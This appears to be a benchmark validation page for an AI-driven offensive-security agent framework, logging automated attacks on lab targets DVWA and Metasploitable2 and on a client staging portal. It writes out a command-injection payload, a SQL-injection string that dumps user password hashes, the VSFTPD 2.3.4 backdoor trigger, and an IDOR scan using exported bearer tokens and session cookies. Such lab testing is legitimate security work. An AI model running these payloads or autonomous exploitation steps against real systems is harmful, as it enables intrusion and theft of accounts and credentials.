๐Ÿ”ฌ Benchmark Case Studies & Validation Reports

July 23, 2026 ยท View on GitHub

This document provides detailed execution logs and validation reports for anve-offsec benchmark engagements.


๐Ÿ“‘ Case Study 1: Automated Assessment of Damn Vulnerable Web App (DVWA)

  • Target: Local DVWA container (http://dvwa:8080)
  • Assigned Agent: bug-bounty (Hermes Brain + OWASP Specialists)
  • Total Execution Time: 7 minutes 42 seconds

Execution Phase Breakdown:

Phase 1: Deep Recon & Web Fingerprinting

whatweb http://dvwa:8080
curl -I http://dvwa:8080/login.php
  • Discovery: Identified Apache 2.4.25, PHP 7.0.33, MySQL database backend. Identified default session cookies (PHPSESSID, security=low).

Phase 2: Automated OWASP ZAP Crawl & Spider

  • Runner triggered zap_client.py API:
    • Discovered endpoints: /vulnerabilities/sqli/, /vulnerabilities/exec/, /vulnerabilities/fi/, /vulnerabilities/xss_r/.

Phase 3: Targeted Vulnerability Verification

  • Command Injection Verification:
    curl -s -d "ip=127.0.0.1%3B+id&Submit=Submit" -b "PHPSESSID=...; security=low" http://dvwa:8080/vulnerabilities/exec/
    
    Result: Output returned uid=33(www-data) gid=33(www-data). High severity confirmed.
  • SQL Injection Verification:
    curl -s "http://dvwa:8080/vulnerabilities/sqli/?id=1%27+OR+%271%27%3D%271&Submit=Submit" -b "PHPSESSID=...; security=low"
    
    Result: Returned full table dump of user accounts and hashed passwords.

Phase 4: Executive Report Generation

  • Synthesized Markdown report saved to /work/loot/dvwa_assessment_report.md.

๐Ÿ“‘ Case Study 2: Metasploitable2 Infrastructure & Service Enumeration

  • Target: Local Metasploitable2 container (http://metasploitable2:8081)
  • Assigned Agent: recon + exploit
  • Total Execution Time: 11 minutes 15 seconds

Execution Phase Breakdown:

Phase 1: Full Port & Service Version Scan

nmap -sV -sC -p- --min-rate 1000 metasploitable2
  • Discovered Services:
    • Port 21: VSFTPD 2.3.4
    • Port 22: OpenSSH 4.7p1
    • Port 80: Apache 2.2.8
    • Port 6667: UnrealIRCd

Phase 2: RAG Exploitation Lookup & Verification

  • Hermes queried local CVE RAG database for VSFTPD 2.3.4 backdoor.
  • Generated Python verification script using /tools/exploit_framework.py:
    import socket
    s = socket.socket()
    s.connect(("metasploitable2", 21))
    s.send(b"USER USERNAME:)\r\nPASS PASS\r\n")
    # Verified backdoor listener on port 6200
    
  • Outcome: Successfully verified 4 root exploitation vectors.

๐Ÿ“‘ Case Study 3: Auth Wall Bypass & OpenClaw Browser Automation

  • Target: Protected Client Staging Web Portal
  • Assigned Agent: auth-wall + OpenClaw Browser Sidecar
  • Total Execution Time: 14 minutes 20 seconds

Execution Phase Breakdown:

Phase 1: Headless Chromium Login Navigation

  • OpenClaw launched Chromium gateway on :18789.
  • Completed login form, submitted credentials, and waited for JWT token storage in localStorage.

Phase 2: Cookie/Token Transfer to Kali Shell

  • OpenClaw API exported session cookies and Bearer tokens to /work/loot/session.json.

Phase 3: Authenticated BOLA / IDOR Testing

  • Hermes inside Kali loaded Bearer token and ran idor_scanner.py:
    python3 /tools/idor_scanner.py --url http://target/api/user/1001 --auth-header "Bearer eyJhbG..." --range 1000-1010
    
  • Outcome: Discovered broken object-level authorization exposing unauthorized user profile objects.